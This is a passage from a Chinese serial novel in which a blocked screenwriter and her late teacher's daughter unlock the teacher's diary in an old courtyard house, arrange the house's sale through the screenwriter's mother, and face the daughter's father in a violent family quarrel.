曾倩的背影早消失在茫茫雨中,杜华年摸出烟点上,狠狠吸了两口才镇定下来,“华老师,我是不是不该教她那些……华老师,你到底是不是枉死呢?”她长长叹息,长长地哽咽。
一支烟抽完,她将作文本收进怀里,对着墓碑三鞠躬,转身大步而去,衣摆在风雨中决绝飘然。
“不管该不该,我总不能对不起你。”
曾倩在墓园门口打不着车,羽绒服都湿透了,露出里头丝丝羽毛。杜华年开车出来就看见了她,把车开过去,停在她身边,“上车。”
曾倩仔细观察了她一会儿,但她戴着巨大的墨镜,能观察出个鬼。拉开副驾驶门,她上了车,系好安全带。
“把外套脱了,免得生病。”杜华年打开了暖气,“你说那个带花园的房子,是不是在城南?”
“对,你知道?”
“我爸看上它好多年了,我不知道是你妈妈的。那是个老宅子了,好像是清末的。”
“对对,是祖上的,所以很值钱,那个小三一直就打这房子主意。”
“你有钥匙吗?”
曾倩一愣,“有。”
“带我去看看。”
到地方了,曾倩还在睡,杜华年没叫醒她,下车抽起了烟。看着眼前这座不大却雅致的院落,她想若在这里长大,长成华老师那样,也就不奇怪了。
曾倩闻着烟味醒来,下车,“抽烟这么猛?”
“你妈妈在这里长大?”杜华年往大门走,曾倩立刻跟上去。
“对。其实我不明白我爸怎么追到她的。”
“你怎么会有我作文本?我找那个本子找了很久你知道吗?”
“我知道,”曾倩打开了门,杜华年率先迈进去,“你还问我妈有没有忘记发下去,那天我怕得要死,就怕我妈发现是我偷拿的。”曾倩要回头关门,杜华年轻拍她手阻止了。
这是一个精致小巧的院落,四角有树,廊下有花,东北角的树是梅花,现在正开着红艳的花朵。
“这里一直有人打理。”杜华年往主屋走,曾倩赶紧开锁,“可能他们要卖,所以请人收拾过。”
“不对,”杜华年走进屋里,伸手随意一抹窗台,递到她面前
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,“太干净了。如果不是有人常年照看,院子里的花树早就该死了。”
曾倩一脸茫然,“我妈以前常常来这里小住,但她都走了这么多年了……”
杜华年没有纠结这件事。
大件家具都用白布遮起,杜华年掀起一角看了看,雕花香樟木,难怪一进来阵阵幽香。她看着家具们,又问,“你为什么偷拿我作文本?你是怎么拿到它的?”
曾倩脸一苦,“这事儿过不去了是么?”她随便找了个凳子坐下,“我妈那会儿把你夸得仙女一样,她本来就嫌我笨,跟你一比,我就像个洗脚婢。那天不记得因为什么我放了半天假,中午回到家就听见她一边吃饭一边拿着这本子看,啧啧称赞啊,那是我最深刻的一次,体会到一个成语被表演出来是什么样子。但她看我的作文,就只会摇头叹气。于是我缠着她下午一定要带我去学校看看你长什么样。下午你们上课的时候,我就在窗外,看着你我就想,要是我能变成你就好了。后来等她下了课,我看见本子还放在讲台上,就趁乱跑进去,拿走了。”
杜华年边欣赏家具边听她说完,停在屋中央,仰头看了天花板半天,一叹,“灯下黑啊!”
曾倩也叹,“我就想,你肯定不差这一本作文,但我差。那时我天天看,总觉得有一天我也能写出来。可是,我现在觉得不太可能了,这就是我妈说的天才和庸才的区别吧。”
“你家这屋子卖多少钱?”
“你要买?”曾倩眼睛一亮,站起来。
杜华年摇头,“买不起,我现在很穷,卡里只剩五千块,不然我也不回来。”
“你没有积蓄吗?”
“有,花完了。”
“……”曾倩想说她太能花钱,但又觉得说了可能也没用,“要是卖给你我还挺高兴。”
杜华年穿过主厅,走到侧屋,没有锁,里头全是书,高大的书柜却没雕花,素面香樟木,独特的颜色和香气。柜子中下层有一排抽屉,其中一个上了锁,“你那串钥匙上有一把小的吧?”
曾倩低头找了找,“有。”“打开它。”“好。”
抽屉里静静地躺着一本绢面硬皮册子,绢面上工笔画着雨后玉兰,侧边还有一把小锁头,锁住了里头的秘密。
“看起来像日记本。”杜华年说完,却并没有拿。曾倩疯狂找钥匙圈,就是没有一把钥匙足够小。杜华年实在忍不住了,“你是真傻啊?你先看看这个锁。”杜华年拿起册子往她手里一塞。
曾倩仔细一看,好家伙,密码锁。
曾倩把她所有能想到的三数组合试了一遍,还是打不开,她无奈地递给杜华年,“就三个数字,我愣是想不出来。总不会是我爸才能打开吧……那我倒宁愿是你打开它。”
杜华年不想接,直觉告诉她这是一个艰巨的任务。她不喜欢答应别人什么,因为做不到时的愧疚会将她压垮。
被期待是令人窒息的。
她低头凝看绢面上的玉兰花,它似乎长开了,枝条伸出了封页,在她面前开出一棵盛大的树。
24. 妈妈对人生的遗恨
2009年。十一月底的全市摸底很快出成绩了,何芳芳的语文考了105分。华丽娟在林荫校道上看见遥遥走来的何芳芳,姿态闲逸,左右赏着深秋的黄叶。她停下来看着这个十五岁的小女孩,眼里颇多欣赏爱怜。何芳芳走到五步之遥才看见她,立即喊:“老师好!”华丽娟嗯了一声,“回家?”
“嗯。”
“来帮我办点事。”
华丽娟说完就走,何芳芳没有机会拒绝,赶紧掉头跟在她身后。两人一前一后走在阵阵落叶里。
“我给你定个目标,从下一次考试开始,你语文成绩不能低于110。”华丽娟边走边说。
何芳芳也很快反应过来,边说边走,“能不能低一点啊老师,很难的。我平时也就八十来分。”
听她的语气里有点点隐约的撒娇,华丽娟轻轻弯起嘴角,“那怎么这次考了105?”
何芳芳打量她的背影,很想揣摩出她的真实想法,“意外了……运气好。”
听她这插科打诨的调调,华丽娟笑起来,“你跟我说说,你每次都是怎么做到考那么低分的?”
何芳芳一愣,华丽娟就走远了好几步,她赶紧小跑跟上去,“你……看出来了?”
“很难吗?”华丽娟停下来,正好在一棵玉兰树下回过头,身旁是笔直的跑道,身后是熙攘的教学楼,“跟你说个秘密,我很不喜欢你爸爸的文章,你以前发表的那些,我也觉得很狗屁不通,小小年纪,花一样的女孩子,怎么学的跟你爸一个腔调!让人心烦。”
夕阳里,何芳芳看着她傲娇的表情,觉得这个脸色青黄的中年女老师,是真的有一股少女可爱,她忍不住笑出声,“嗯,我也心烦。”
那天,华丽娟尽情骂了一通何文谦,何芳芳笑了很久,弯腰捧腹。
见杜华年眼神发直,曾倩摇晃她,“芳芳姐?”
玉兰树极速萎缩。
她惊醒,才发现本子竟然到了自己手中,忍不住把密码滚动到110的位置,一拧,“咔哒”一声,锁开了。
锁,开了。
曾倩盯着锁扣,既难以置信又觉是意料之中,她抬起眼看着杜华年,眼里不知不觉蓄满了泪水,红通通的,透出嫉愤和倔强。
“我就知道,我妈最喜欢的就是你了,她恨不得你来做她的女儿!她就是因为讨厌我……”她突兀地蹲下去,毫无征兆地“哇”一声哭出来,双手捂着脸,“她就是因为讨厌我才离开我的……”
杜华年有点明白她,但又觉得她这反应实在有点过激,“你这么说就丧良心了。哪有人为了躲一个讨厌的人,把自己命搭进去的?”
曾倩哭声渐小,突然“噗”一声破涕为笑,“你放什么狗屁呢!”
杜华年一挑眉,觉得这母女俩是真像啊!尤其“狗屁”二字。她叹口气,看着锁,无限感伤。
打开日记本,扉页写着:打开密码的你,请替我完成心愿。
我就知道!杜华年绝望地闭上眼别开脸,把日记本往曾倩手里塞。曾倩却不敢接,甚至往后退了两步,“严格说起来,是你打开的……”杜华年歪个头瞥她一眼,“你不说我不说,就当你打开了。”
“别别!我怕我妈托梦骂我。”她当即再跳开一步,双手狂摆。
杜华年看着她避之如蛇蝎的样子,只能收回手,叹口气,转头看向院子。天突然放晴了,院子中央打下一泊日光,明晃晃的,地上的光斑都亮出了晕。
她心念一动,随意抽出一张椅子,掀了白布坐下,打开日记,随手翻到一页:
2010年10月3日
我发觉这本日记得要上锁了。写着写着,越写越多,许多都是不能给人看的。但是……
我真的不想给人看吗?
或者我应该问自己:要给一个人看的话,我想给谁看呢?
2010年10月7日
何芳芳,我知道是你。如果真的需要有一个人在我死后打开这个本子,我想,可能只有你能猜到我的密码。
其实它多简单啊,就只是我随口跟你说的一个分数线而已。其实我当时是想说115分的。但,少了5分,好像也挺好。
但是如果,这本子不能流转到你手上,那就……就是我们无缘。
孩子,从见你第一眼,我就知道,你将来一定得要活成我想要的样子。所以其实,这本日记,大约是我写给你看的。
或者说,这本子里的我,是我只想告诉你的,我。
今天我和我女儿吵了一架。她说我总是拿你来要求她,她说人比人气死人。
我想她是要说,人和人之间只要进行对比,总会感到不满足。你看,她的语言就是这么贫瘠,她的天赋是真不如你,她一点儿也不像我,我喜欢的她统统都不喜欢。
她说我不爱她,说我恨不得你来做我的女儿。这话,对也不对。
我曾经请你母亲来过一次学校,我对她说,要是我有一个像你这样的女儿啊,我此生无憾了!
很可惜,你的才华要在你父亲的影响下被扭曲,他是真的不懂什么才叫美,我真希望你不要受他过多的影响,你要坚持做你自己。
但也要感谢今天和我女儿吵架。她让我发现,其实我看到你,会想到的第一个人,不是我女儿,而是我自己。
我不是希望你是我女儿,我是希望,你是我。
或者你看到我这段话时,已经明白我在说什么了。不,你一定能明白,你的悟性,比当年的我有过之无不及。
因此,我要感谢我女儿,是今天的她让我明白,这本日记应该给你看。
但是,我怎么会不爱我女儿呢?无论她是什么样子,她都是我女儿啊……可我要怎么让她明白,妈妈对另一个女孩的爱,是因为妈妈对人生的遗憾啊!
这并不会影响我对她的爱。
如果,你真的看到这本子,那我一定没有让我女儿相信这件事,所以……
所以,何芳芳,我能不能拜托你,一定要告诉她,一个真实的我。
一定要让她相信,我只是不知道该把这个遗憾跟谁说,似乎跟谁说,都不能消解这段遗恨,才会令她误会。
何芳芳,我想请你,教会我女儿,去做她自己
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,去坚定地做她自己,不要变成你,也不要变成我。
谢谢你!何芳芳。
杜华年倏然合上本子,没敢再看下去,因为她害怕泪水打湿字迹。这是十四年前的文字,那时的何芳芳甚至还未满十六岁,日记的主人却怎么敢向她托付心愿?
她笃定她长大后,一定是她期望的样子?以及,她那时候就预感到自己的离去了么?
看,这就是期待,它总让人哭,让人觉得不满足。
她正心潮翻涌……突然日记里那句话闪过“要是我有一个像你这样的女儿啊,我此生无憾了!”
噢!原来这就是她跟我妈讲的话!难怪夏莲如此反常,麻将不打,跑来给我送饭……想到这,她更伤感了。
“任何人爱我,皆因我有他们所求;华老师爱我,只因我是我……”她自言自语,目含泪光。曾倩坐在廊下玩花,听见杜华年似乎说话,她跑进去,“咋了?你和我妈说上话了?”
杜华年看她手上抓着一把草,无奈一笑,“也,差不多吧……”
其实可能真说上话了。她得过太多人的喜爱,只要不刻意叛逆,没有老师不喜欢她的。可是,华老师是独特的,唯一的,她和她短暂的相遇,似乎共通了灵魂。
“走吧,你该回家了。”杜华年把椅子重新放回原位,盖上白布。
“我不回家,回去了再出来就难了。”
杜华年已经走到院子里,回头看着廊下摆烂的曾倩,抬头忘了天一眼,低头折下一枝梅花,“行,跟我走吧。”
“去你家?”
“酒店。”
“你不回家?”
“昨天和我爸闹翻了。不想看见他。”
“你不是没钱了吗?”
杜华年不耐烦了,“还有五千,你是失忆还是健忘?”
“只有五千了你不留着?”曾倩跑到她面前,“你看,这里怎么样?”她转身挥手,朝整个院子展臂,“百年老宅,古董家具,免费入住。”
杜华年正想骂她馊主意篓子,但脑子先一步进行了思考,随即心头一震,觉得似乎也没什么不妥,眼睛一亮,“不错,剑走偏锋,是个办法。”
杜华年的行李就在后备箱里,她和曾倩一东一西住下,收拾停当,已近黄昏,二人出门吃饭。杜华年凭着记忆找到了小时候常去的一条烟火小巷,走进去,走到尾,有一间三十年的老店,当地口味,祖传手艺。从前,祖父母常带她来,她最爱这家店的卤鸭。
曾倩埋头狂吃的模样令她想起了幼年时光。这大半年来,她第一次感到了食物带来的慰藉,终于有了一种,心随着味觉落地的感受。
她吃得很香,吃了一顿饱饭。想来曾倩也是,因为她们什么话都没说,只顾着吃和默叹。
归途没有晚霞。
夜里,泠泠月光照进这方古老的宅院中,时空模糊了起来,很分不清今夕何夕。杜华年洗了个热水澡,觉得自己的灵魂开始漂浮,心底深处一直灼烧的那处鬼火似乎被熄灭了一点点。
她靠进铺满羊毛的躺椅,点上一盏小灯,开始从头翻阅日记。
25. 日记
2009年11月2日星期一 晴
我很久没有写日记了,从大学毕业之后。
新学期,学校换了一个班给我,初三的。很早就听说这个班里有个刺头——何芳芳,何文谦独生女。何文谦啊,写的全是高调,没办法,时代成全了他。
我本来以为他女儿也随他。但我错了。
她太像我了,我一眼就看出来,她那些坏样子都是装的。她身上有一种独特的气质,她常常蹙紧眉头,我知道,她永远会思考一些旁人觉得无聊的东西,比如春花秋月,比如夏蝉冬雪。有四季相思的日子才真的快活啊!每一刻都觉得自己是鲜活的,每一日都没虚度,时间和岁月可以被丈量。
我多少年不提笔了,从九月份见到她,我就总有一种写字的冲动。
很久很久,我没有这种表达欲了。从我结婚以后,时间麻木了,一晃过去了半生。
于是今天我买了这个本子。
2009年11月9日星期一 雨
今天我布置了一个作文题,何芳芳给我乱写一通,和过去每一次一样。
但是这次,她真写在了我心坎上。我真想把她推荐给我的老师,我知道他一直在寻找这样的人。我还想立刻去找她,和她一同散步,一同读诗,一同踏青、听夏、赏秋、追雪……我觉得我可以和她畅聊三天三夜。
可是我不能,我必须告诉她,这篇作文不合格,零分。但我又不忍心歪曲她的观念,所以我只能克制地告诉她我对她的喜爱。
虽然这篇小文还很稚嫩,虽然她的笔力没有经过人生的洗礼,但她有一股野蛮的灵气,逼人又锋利。我想她肯定和我一样,爱冒险。
但她也很苦闷,天才最怕苦闷。我也很怕,因为她偏偏是她父亲的女儿,或许除了我,没人敢说,她的天赋,可比她父亲高太多了!
所以她父亲大概欣赏不了她,而她似乎也没有什么温柔的一面,女孩儿应该如水的,可她似乎是一棵缺水的树。
我觉得我得找她母亲来聊一聊。
看到这里,杜华年停了下来。原来华老师最真实的第一反应竟然是这样的,她其实还远远低估了华老师对她的喜爱,那是一种忘记时空的共鸣和惺惺相惜。
半夜响雷,她推开窗才发现飘雪了,可月亮却还在,她惊愕得说不出话来,这座城市上一次下雪还是二十多年前,她念小学的时候。
冷风入肺,她不可遏止地感到院子里有人在等她,她站起来,追出去,追到了院子里,地上有了一小层薄薄的白。她伸开手、仰起头、旋转、停驻,她笑、她流泪、她感叹,她知道华老师也在某个冬夜站在这里,和她一样,与雪花嬉戏。
此地此时,此地彼时。
她看着角落里那株红梅,突然地,昨夜没流的泪水现在流了,流了就停不下来。
她扶着那棵梅花,泣不成声,咬紧了牙关还是漏出太多呜咽,像一个失去全世界的小兽,哭得忘记了天地和自己。
说错了,不止昨夜,从慕华反水以来,她所有该哭却没哭的时刻,都在此刻了。
再多痛苦她都不怕,就怕有人太了解她。从头到尾,她不过就是不肯低头承认自己很怕,怕失去才华,怕再写不出故事,怕没人再喜欢,怕得知从一开始,她或许就只是运气好,踩在了对的风口,怕她只是一只猪。
她怕有一天发现她从来没有过才华,那些,那些……都是虚幻……
好不容易她控制了一下自己的悲伤,觉得可以深吸一口的时候,却在仰头吸气的瞬间,迎面吸进一股突来的小风,肺里有点冷有点疼,像华老师那双冰冽青葱的眼睛望向她时的感觉,今夜,月色与雪色同在,可斯人早已远去,这些文字来得太迟了……她再也控制不住,爆发出更撕心裂肺的哭声,像一种怒吼,控诉人无再少年的彻骨疼痛。
痛哭快要用光她的力气,她开始恍惚,伸手去接空中飞旋的雪花,再将掌心敷在脸颊,冰凉的触感洗掉了滚烫的热泪,将脸埋进手掌,呜咽闷在里头,她哭得很放肆,哭得足够尽兴了。
华丽娟太了解她,她知道她什么都不信,她知道来自时空深处的肯定,才是能插进她心头的匕首。因为那时,杜华年还是何芳芳,而何芳芳什么都不是,还不值得人骗。
想通这一层,她终于稍微好了一点,继而破涕为笑:华老师啊华老师,您是真拿捏我。
她寸步不离这间屋子,用了两天把日记读完。
合上日记,她走出门,站在廊下看着院子,夕阳穿透这座老宅院的角度像切割历史的铲刀,她久久回不了神。日记写得如诗一般,即便是那么令人惋惜的人生旅程,读来仍旧余韵悠长。她终于了解了华丽娟,她不再只是一个老师,她是她,是一个鲜活的女性,她当年写下那些评语,远不止为了鼓励一个懵懂的学生,而是在用一个平等的女性的口吻,在对另一个即将踏上女性之路的女孩儿,说她内心的欣赏与不甘,冲动与犹疑,希望与胆怯。华丽娟的人生场景穿梭在她脑海,她说不清触摸了另一个人的灵魂后是什么感觉。
但她知道了,华丽娟的死,与阴谋无关。可是,她还没有想好,该怎么告诉曾倩。
院子外传来吵闹声,打断了她的自我沉浸,她看见曾倩气鼓鼓地踏进了院子,正想关门,却挤进来一个小男生,人挺高大,长得不赖,就是太幼稚,一看就还是个娃娃。
两个小破孩就站在院子中间吵架,一个想分手,一个不同意,内容十分没有营养。杜华年越看越饿,于是迎着夕阳扎进来的光,走了过去。
乍见天日,杜华年本能眯了眯眼。曾倩和小男友都愣住了,杜华年长发披散,一身白衣,脸色苍白,一双眼睛又乌溜溜地盯着他们,实在有点诡异。
诡异的杜华年开了口,“留下来吃晚饭吧,吃饱了再吵。”
院子里支起了一张矮桌,架上炭火,火上一个砂锅,麻辣锅底,满桌子荤素生鲜,旁边再支个小炉烫酒,梅香阵阵,古人诗文所写也不过如此了。
只差一只满地跑的小狗了。杜华年打视频电话给李雯,李雯给她看了猫猫,猫猫懒洋洋地躺在地上玩一个新玩具。李雯看了她半天,问,“那个小姑娘倒是个神人,给你吃了什么药?大半年来,第一次像个人样。”
“滚。”她挂了电话,这个不着调的李雯,这大半年,她们也就元旦见了一次,她凭什么说她不像人样?
吃饱喝足,又下起雪。杜华年知道了小男友名叫刘白,这名字起得……又好又敷衍。刘白话很少,爱干活,今天这围炉夜雪全靠杜华年指挥,他操作,才得以实现。她也看得出来,刘白做这些的时候,一心一意就扑在事儿上,眼珠子一点也没往曾倩身上飘,但一闲下来,他的眼珠子又无法从曾倩身上扒拉下来。
曾倩显然是身在福中不知福。趁着刘白去洗碗,她问曾倩,“你看不上他什么?”
“幼稚。”曾倩剥着橘子,“这都怪你!没见你之前,我和他感情很好,可见过你之后,我再回学校,感觉就再也回不去了。”
她懂了,这一句就够了,听说小姑娘的爱情是这样的,像一颗春天的花苗,长得特别快,你浇水慢一点,它就要死掉了,或者,出逃。
三个人烤着火吃着橘子,杜华年和他们说着许多学校外头的人,又和他们说着许多学校里头的过往。他们问题很多,剧组里那些故事,随便挖出来一小勺子都能让他们充满向往。
曾倩最先熬不住去睡了。杜华年送刘白出门,刘白欲言又止,她笑,“不想分手?”
刘白一愣,很快恢复平静,认真点头,很真诚地问,“我要怎么做才能让她回心转意?”
杜华年叹口气,“放她去吧……
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我也知道很难。刘白,你是个好孩子,这个年纪的感情很美好,但是你知道美好在哪吗?”刘白有点楞,她也不是真要问,自己回答,“就因为这个年纪啊,不懂感情。”刘白更懵了,她又说:“她也不是变了心,只是她突然间,以为自己找到了自己想要的,但我知道那不是她想要的,可是这个时候,谁也劝不动这个年纪的女孩儿。去走你自己的路吧,但是,别把感情的失意全都怪罪到感情头上。”
刘白似懂非懂,但,确实感到了一点勇气。
杜华年不放心,又补了一句,“任何时候,别放弃真实的你。”说完转身进了屋子。
曾倩又坐回了院子里,继续剥橘子。红炉小火苗,映着她脸上的青春,杜华年在她身边坐下,拿走她刚剥好的橘子,“你以后可能再也不会遇到他这样的男孩子了,你要想清楚。”
“我想得很清楚,我妈不能死得不明不白,我也不能任人拿捏。”
“你好好读完大学,找个喜欢的工作,和男朋友恋爱结婚,离开这个家,就是最好的反抗。”
“正常的路我已经走不下去了。芳芳姐,你不是也没走正常路么?你爸是谁啊,按道理你根本不用自己闯得这么辛苦。”
“人是最感性的动物,也是眼界最小的动物,你最无助的时候,谁给了你一点安慰,谁就会成为你眼里世界上最好的人,但其实他的真面目,很可能令你厌恶。”
“你说谁?”
“任何一个你碰到的人。”
曾倩沉默了,她知道杜华年在隐喻什么,但她没有心思去想,“我管不了那么多了,对我来说,现在最重要的是保住这个房子,再想办法挣钱,和他们断绝来往。”
“房子谁名下?”
“我妈。”
“如果想卖还得先继承遗产,遗产税就要就要交一大笔,有一部分是你的,你不同意卖,你父亲也卖不成。”
曾倩恍然,“对啊,还有这回事呢,我一着急都没想到。那我是不是得请个律师?那也得花钱……”
杜华年觉得这个孩子是真的……需要人带,“你联系买家,就跟他说你是遗产继承人之一,已经成年,如果他要买,你一定会告,只要提了诉状,这个房子的过户就不是一年半载能办成的,你反正不怕拖,就看他是不是也时间多了。只要你把这话一说,基本这个房子就无人问津了。”
“这么简单的道理,我爸怎么会没想到?”
“他如果有心瞒你,你也不见得知道,等过户手续办完,你就被动了。”
“好,那我明天打电话。”
“不,现在打。”
曾倩犹豫了一瞬,立即掏出电话拨号。她虽然还不明白现在打和明天打的区别,但她知道听杜华年的总没错。
还没拨出去,杜华年就按住了她手,“这就是买家?”曾倩点头,杜华年垂下手,“别打了,这是我爸。”
“啊?!”曾倩直接把手机扔在了橘子皮里。
“行了,我明天去帮你办妥这件事。”
“等等,”曾倩拉住就要起身的杜华年,“如果是卖给你们家……我是说,如果我卖给你们家,我觉得挺好。”
杜华年听她口气,心思只转了一瞬就明白了,“你想要钱?”
曾倩怕她误会,赶紧站起来,“我想把钱给你!不,我是说投给你,当我入股,我觉得你不该就这样算了,我反正不相信你抄袭。”想想觉得不够,她又说:“而且如果这个宅子落到你手上,我妈应该会觉得比在我手上强吧……”
杜华年没想到她还有这样的魄力,也不知道她是不是被亲爹刺激得有点犯傻。但不管如何,杜华年眼前飘着雪花,桌上火焰灼灼,她感到了身上的反骨开始咯咯作响。
听说孤狼的凶悍之所以绝然于百兽,是因为一种名叫退无可退的境地。
26. 又干起了这些事
杜华年夜里又梦回高考了,这次,倒计时牌上的数字从50天变成了40天。在梦里,她依然每天忙着玩乐,却在写试卷时才发现自己功力已经废了九成。她惊醒,看看天看看地,眼睛的视觉还没有完全恢复,总觉得还在梦里。
记忆一点点恢复,自己如何一步步走到今天又在脑海里过了一遍。她就像打游戏卡BUG,卡在了高考这个关卡,倒数少了十天是不是意味着她离过关近了一点?
不知哪家的鸡叫了,杜华年起床,情绪很坏,化了一个野气十足、像是要去讨债的浓妆,约夏莲去喝咖啡。
夏莲还像年轻时一样,一头丰盈卷发,皮肤白嫩,体态婀娜,说是杜华年姐妹也信得过。她喝卡布奇诺,杜华年喝水。“你不喝咖啡吗?起这么早不困?”夏莲拿下墨镜,“你化这个妆要去吓死谁?这头发保养得不错,你得感谢我,没我的基因,你就和你爸一样,头上没几根毛……”
杜华年一抬手打断她,“妈,你想过你以后老了要怎么办吗?”“啊?”“你现在还年轻,四十多五十岁,再过十年呢?六十七十的时候呢?还是伸手跟我爸要钱?你觉得他一定会像今天一样给吗?”
夏莲给她说懵了,但杜华年不打算停下,她言辞锋利,客观叙述了许多古今中外人老珠黄的女人结局有多么悲惨,总分总的结构用得熟练,一手议论文功底深厚,博采众长的例子信手拈来。
最后总结一句:女人,得及早为自己的晚年攒钱。
夏莲是个很好的戏搭子,“那我该怎么办?”
“我爸看上的那个宅子在卖,我认识人,可以便宜拿到手。我现在是没钱了,但是你有啊,你先一步买下来,就写你自己的名字,到时候当做礼物送给我爸,让他去住。他这个人自大,只要你多吹捧几句,他是不在意写不写他名字的。”
夏莲眼珠子转了半天,“你怎么知道我有钱?”
“你这么多年私房钱凑一凑买个古董宅子养老,不比买奢侈品强?”
“那也得看我买不买得起。”
“五百万就够。你手上不是有一套现房吗?二十年了吧,早还完贷款了,现在出手可以拿到一笔不小的数目。”
“原来你打我这个注意呢。那是你爸娶我的聘礼。”
“换一套更好的,名字都是你的,你又不亏。再说了,那套房子那么小,现在也是旧房了,你以后还愿意住?出租又值几个钱?”
夏莲思来想去,觉得她说得对,“行,你这孩子虽然野,但总归不会害你老娘。但我也有一个条件,今年除夕你必须在家过。”
杜华年举杯,“成交。”
曾倩的任务是把房本偷出来,曾睿又一次帮了大忙。杜华年本来很疑心曾睿,可是房本确实在手上,甚至还有古老的地契文书。
两天后,夏莲带着钱来过户,她很豪气,一次性付了全款,全程带着墨镜,似乎还刻意躲开与杜华年单独相处的机会。两天时间哪够卖掉她那手上那套房子?杜华年想问问她这么多钱哪来的,也没找到时机。
曾倩很担心,“芳芳姐,我爸的字是我代签的,他知道了来闹怎么办?”
杜华年一笑,“你去年退学手续上的名字是谁签的?”
“我爸。”
“退学手续你还留着吧?”
“嗯……噢!”曾倩眼睛一亮,“他在我不同意的情况下冒签我名字,我也可以告他。”
“对,反正都是家庭闹剧,他告你,你告他。可是最后交易却是公平的,你复了学,你们家卖了房,钱到账了,房子过户了,一切手续齐全。这种案子法庭都是调解,调解不成就拖一拖再调解,总而言之,清官不断家务事,大家心知肚明。”
曾倩又一次体会到了世界的美妙,她张嘴吸着甜美的空气,这正是她想要的刺激。
夏莲验了一遍房子就把钥匙交给了杜华年,“我知道你喜欢,这一点啊,你和你爸一样。你住着吧,过两天回家过年就行。”杜华年终于逮着机会了,“你那套房子卖了?”“没有哇!”“那你哪来这么多钱?”“那你别管,反正不是你老娘去抢的。记得年三十回来!”夏莲带上墨镜一摇一摇地走了。
此刻在这间宅子里,杜华年是主人,曾倩是客了。
晚饭她俩还围炉煮雪,前两天剩的雪。
傍晚路过市场,杜华年买了好些冬笋回来,现在正烫得起劲。
曾倩看了看自己突然极大富足的账户,认真地开口,“芳芳姐,我要投资你的工作室,但我有条件,我要跟着你做编剧,现在,我是你金主爸爸。”
杜华年埋头吃笋,“不必,钱你自己收好。我可以带你做编剧,条件是一切都要听我的。”
曾倩急了,“你不是没钱了吗?你要怎么东山再起啊?”
“这你不用操心,我有办法。”杜华年喝了口酒,“边吃边说,再不吃没了。”
曾倩看了一眼,半盘笋都没了,牛肉也快没了,遂下定决心,“
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行,我听你的没问题,但是我能不能先问个问题?”
“问。”
“你到底为什么不澄清呢?还有那个慕华,你为什么要请她呢?你明明自己就是编剧啊!”
杜华年叹口气,“你这是几个问题?”
“其实就一个,不同问法而已。”
这个回答杜华年很满意,她看着她点点头,擦了擦嘴,摸出烟点燃,吸了一口,幽幽吐出一句话,“我已经快两年没写出一个字了……”
曾倩先反应了一下,接着瞳孔逐渐放大,随着对这句话的理解慢慢深入,她脑门开始发凉,一个编剧,一个作家,她如果写不出字是个什么概念?这个人还是杜华年,怎么可能呢?杜华年有一天会写不出字吗?
“不可能,你骗我。”曾倩用看见男友劈腿的眼神看着她。
“爱信不信。”杜华年左手夹着烟,右手端着酒杯,往椅子上一靠,闭眼闻着红梅幽香。
“可怎么看,你也不像写不出东西的样子。”曾倩有点信了。
“怎么,非要整日酗酒,动辄暴怒,邋里邋遢,生活不能自理,颓废到恨不得让全天下都知道我江郎才尽了,才符合人设?”
“……也不是。就是,怎么也得有点冲击力吧?”曾倩睁着天真的大眼。
杜华年笑了,冷笑,笑着笑着便开怀大笑,“所以说,你还是个孩子。你不懂大人的世界,不能露出一点软弱,因为那些等着落井下石的人,扛着石头走很久了,真的会砸死你的。”
“所以你真的抄袭了?”曾倩的声音都在颤抖。
“没有。”
“那为什么不澄清?你不是写不出来了吗?为什么又没抄?”曾倩觉得大脑干烧了,又。
“小朋友,你问题太多了,早点睡吧。过完年,我们回南京。”杜华年起身回了屋。
曾倩望着她背影,叹口气,埋头机械地吃菜。吃着吃着,她想起了那天夜里,在建邺区的房子里,撞见杜华年哭泣。那个场景此刻撞了她心口一下,她突然就明白了杜华年所言深意。她停下了进食动作,愣了愣,随即也喝了一大口酒,苦得她差点掉眼泪,但她开始理解了,杜华年的痛苦大概是她难以想象的,而杜华年的忍耐力才真的令她毛骨悚然。她失去的,是她的写作天才,不就像是西施毁容,绝世高手废了武功?这已经不是逆境,是绝境了吧?
可是她到底是怎么做到这么平静的呢?她想:心性坚韧说的大概就是她这样的吧。
27. 你的目标远比你以为的更难实现
除夕前夜,曾倩一晚上没睡着,后知后觉开始怕,卖房子的事情藏不住,但她并没有想好对策。天亮了,杜华年要回家过年,临出门前对她说:“不是每件事都有对策的,如果我一定要经历爆炸,那么我会尽快去点燃引信。”
曾倩看着空荡荡的院子,今天是除夕夜,她还是得回家。
很快,曾倩就知道风平浪静的原因了,她亲爹带着后妈出差了,今天才回来。曾睿之所以这么容易偷到房契,就是因为根本不用偷。
她站在门口,看着还在收拾行李的后妈,以及打电话订年夜饭的亲爹,忽然觉得自己真可笑,她还是高估自己的地位了。亲爹看见她,语气不善,“回来了?知道还是家里好了?我和你阿姨商量了,过完年一起陪你们出国适应一个月,适应好了我们再回来。”
他仍旧在自说自话,这种自大令她再也忍不住,决定点燃引线,“房子我已经卖掉了,你们别指望拿到一分钱。”
可想而知的,爆炸比预想的更猛烈。亲爹要打她,曾睿挡在她身前挨了不少巴掌,后妈要拉开曾睿,也挨了不少揍,只有她站在后头笑,看着这一家子神经病,她觉得杜华年真没骗她。
曾睿喊她走,她似乎也听不见,他一急,用力一挥手,把亲妈挥到地上,头撞上了桌角,她立即捂着头哇哇哭叫起来,曾睿和后爹同时停了下来,屋子里充斥着后妈的噪音。
曾倩伸手一拉,把曾睿拽到一边,迎上前看着亲爹,“钱,我埋进我妈坟里了,你有胆,就去挖。”亲爹一巴掌打在她脸上,她没躲,嘴里冒出血腥味,她转回头,看着她亲爹,“我妈怎么死的,我一定会搞清楚,你最好祈祷我不要找到证据,证明就是你们害死她!”
她双目通红,仇恨的眼神令亲爹举手又要打她,她眼睛眨也不眨,迅疾伸手一抓,亲爹的几根手指被她抓住,往下一掰,立即疼得他龇牙咧嘴。她死死掰着亲爹的手指,瞪着他,冷漠地开口,“你的人生,该开始痛苦了。”
她一直没有放手,阴森森地盯着他,一秒,两秒,她从她亲爹脸上看见了从愤怒到惊讶,再到恐惧的情绪变化,她突然就笑了,笑声凄厉刺耳,她知道面前的男人自私冷漠,却没想到竟然还是个窝囊废。
后妈早就吓傻了,曾倩一甩手,要走,后妈拖着屁股从地上爬开让出了一条路。
曾睿追下来,“姐!”
曾倩回头看他,她已经泪流满面,“阿睿,我不知道你为什么帮我,但这次真的谢谢你!以后你有什么麻烦,尽管来找我,你永远是我弟。”
曾睿顿了顿,“姐,那天帮你卖房子的人,她可靠吗?你真要投钱给她?我怕她骗你。”
